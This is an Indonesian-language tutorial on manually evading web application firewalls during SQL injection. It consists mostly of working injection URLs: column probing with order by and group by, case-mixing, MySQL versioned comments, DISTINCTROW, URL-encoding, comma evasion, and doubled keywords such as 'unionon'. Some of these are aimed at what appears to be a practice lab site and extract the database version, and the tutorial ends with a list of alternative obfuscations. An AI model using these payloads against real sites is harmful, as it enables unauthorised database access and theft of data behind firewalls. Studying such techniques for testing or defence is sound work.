Bypass WAF SQLi Manual

Beberapa injector hanya memakai query bypass tanpa menganalisa bagian kata yg di block oleh WAF ( Web Aplication Firewall )

Sebelum nya Testing dlu :D


kalau Order by ga work . coba pakai group+by :D

http://www.webshit.com/vulnscript.php?id=1+order+by+1--+-

http://www.webshit.com/vulnscript.php?id=1+group+by+1--+-


----------------------------------------


http://www.webshit.com/vulnscript.php?id=1+union--+-  [waf]

http://www.webshit.com/vulnscript.php?id=1+select--+-  [No waf]

brarti fungsi union di block .
kita coba bypass dngan kombinasi Uppercase dan lowercase .

http://www.webshit.com/vulnscript.php?id=1+uNiOn--+-  [waf Bypassed]

atau klo masih kena Waf

http://www.webshit.com/vulnscript.php?id=2 /*!uNiOn*/--+-

atau

http://www.webshit.com/vulnscript.php?id=1+/*!50000uNiOn*/--+-


okay bypassed :D

-------------------------------------

tahap berikut nya Union Select

http://www.webshit.com/vulnscript.php?id=1+union--+- [no waf]

http://www.webshit.com/vulnscript.php?id=1+select--+- [no waf]

tapi saat

http://www.webshit.com/vulnscript.php?id=1+union+select--+- [Waf]

brarti Waf block kombinasi kata union select ..

kita bs bypass dgn

http://www.webshit.com/vulnscript.php?id=1+union+distinctROW+select--+-

atau

http://www.webshit.com/vulnscript.php?id=1+union%23%0aselect--+-

yuhuu Bypassed :D

---------------------------------------


Bypass dengan url Encode jg bs

http://www.webshit.com/vulnscript.php?id=1+%75Nion+%73eLect--+-

%75 = u
%73 = s

----------------------------------------

http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1--+- [no waf]

http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,2--+- [waf]

Hmm ketika menambah (,) kena waf , brarti koma harus dibypass :D

http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2--+- [bypassed]

http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2,~~3,~~4,~~5--+- [bypassed]

atau

http://www.webshit.com/vulnscript.php?id=1+uNiOn(/**_**/(seLeCt(1),(2),(3),(4),(5))-- - [bypassed]

atau dgn method join :v

----------------------------------------

beberapa injector menggunakan UnionOnOn / informationmation_schema_schema tnpa tau maksud query itu :p

oke skrang kita cari tau :v

live target :

http://zixem.altervista.org/SQLi/level3.php?item=3'+union--+-

hasil :

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni-- -'' at line 1

dari situ kita bs liat kalau "on" pada "union" hilang :v

bagaimana bypass nya ??

tambahin aja on di union nya jadi unionon :v

http://zixem.altervista.org/SQLi/level3.php?item=3'+unionon--+-

wokee bypassed :D

selanjutnya sperti biasa

http://zixem.altervista.org/SQLi/level3.php?item=3%27+and+0+unionon+select+concat(%27versailles%20::%20%27,version()),2,4,5--+-

###############################
Alternativ bypass union select jika langkah diatas blm bs bypass .

   uni<>on sel<>ect

   uni*on sel*ect

   (uni)(on) (sel)(ect)

   uni[]on sel[]ect

   uni\on sel\ect
###############################